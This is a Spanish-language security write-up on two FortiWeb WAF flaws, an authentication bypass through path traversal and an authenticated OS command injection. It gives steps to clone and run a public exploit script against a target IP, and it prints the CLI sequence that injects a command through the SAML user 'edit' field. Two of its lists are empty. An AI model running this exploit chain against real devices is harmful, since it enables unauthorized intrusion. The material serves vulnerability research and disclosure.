
Investigación de seguridad sobre vulnerabilidades de Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWeb es un dispositivo Web Application Firewall (WAF) ampliamente implementado en los sistemas empresariales para proteger las aplicaciones web frente a amenazas comunes.
Dado que FortiWeb suele ubicarse en la capa de protección central, las vulnerabilidades relacionadas con la autenticación o la ejecución de comandos del sistema operativo pueden afectar gravemente a toda la infraestructura subyacente. En 2025, se han divulgado dos vulnerabilidades críticas en FortiWeb:
CVE-2025-64446 – Bypass de autenticación mediante Relative Path Traversal
CVE-2025-58034 – OS Command Injection en contexto autenticado
CVE-2025-64446 se origina en que FortiWeb maneja y verifica las rutas de acceso de forma poco rigurosa antes de aplicar el mecanismo de autenticación.
Concretamente:
Este fallo permite que algunos endpoints administrativos puedan ser accedidos sin una autenticación válida.
CVE-2025-58034 surge porque FortiWeb procesa de forma insegura los datos de entrada del usuario al invocar comandos del sistema operativo.
Las causas principales incluyen:
Esta vulnerabilidad requiere un contexto autenticado, pero sigue presentando un alto nivel de riesgo debido a la ejecución de comandos.
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
El entorno virtual de Python (venv) se utiliza para crear un entorno de trabajo independiente para cada proyecto, aislando las librerías dependientes del sistema Python principal. Esto ayuda a evitar conflictos de versiones de librerías, garantiza la estabilidad del entorno de trabajo y limita el impacto en el sistema.
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>
config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
La vulnerabilidad CVE-2025-58034 surge porque FortiWeb no controla de forma estricta los datos de entrada en algunos campos de configuración, especialmente el valor pasado a través del comando: edit ""
Problema: Este valor se procesa como una cadena de configuración Posteriormente se incorpora a comandos internos del sistema operativo No se filtran ni se escapan adecuadamente los caracteres especiales Esto permite que los datos de configuración puedan afectar directamente al comando del sistema operativo ejecutado, provocando la vulnerabilidad de OS Command Injection.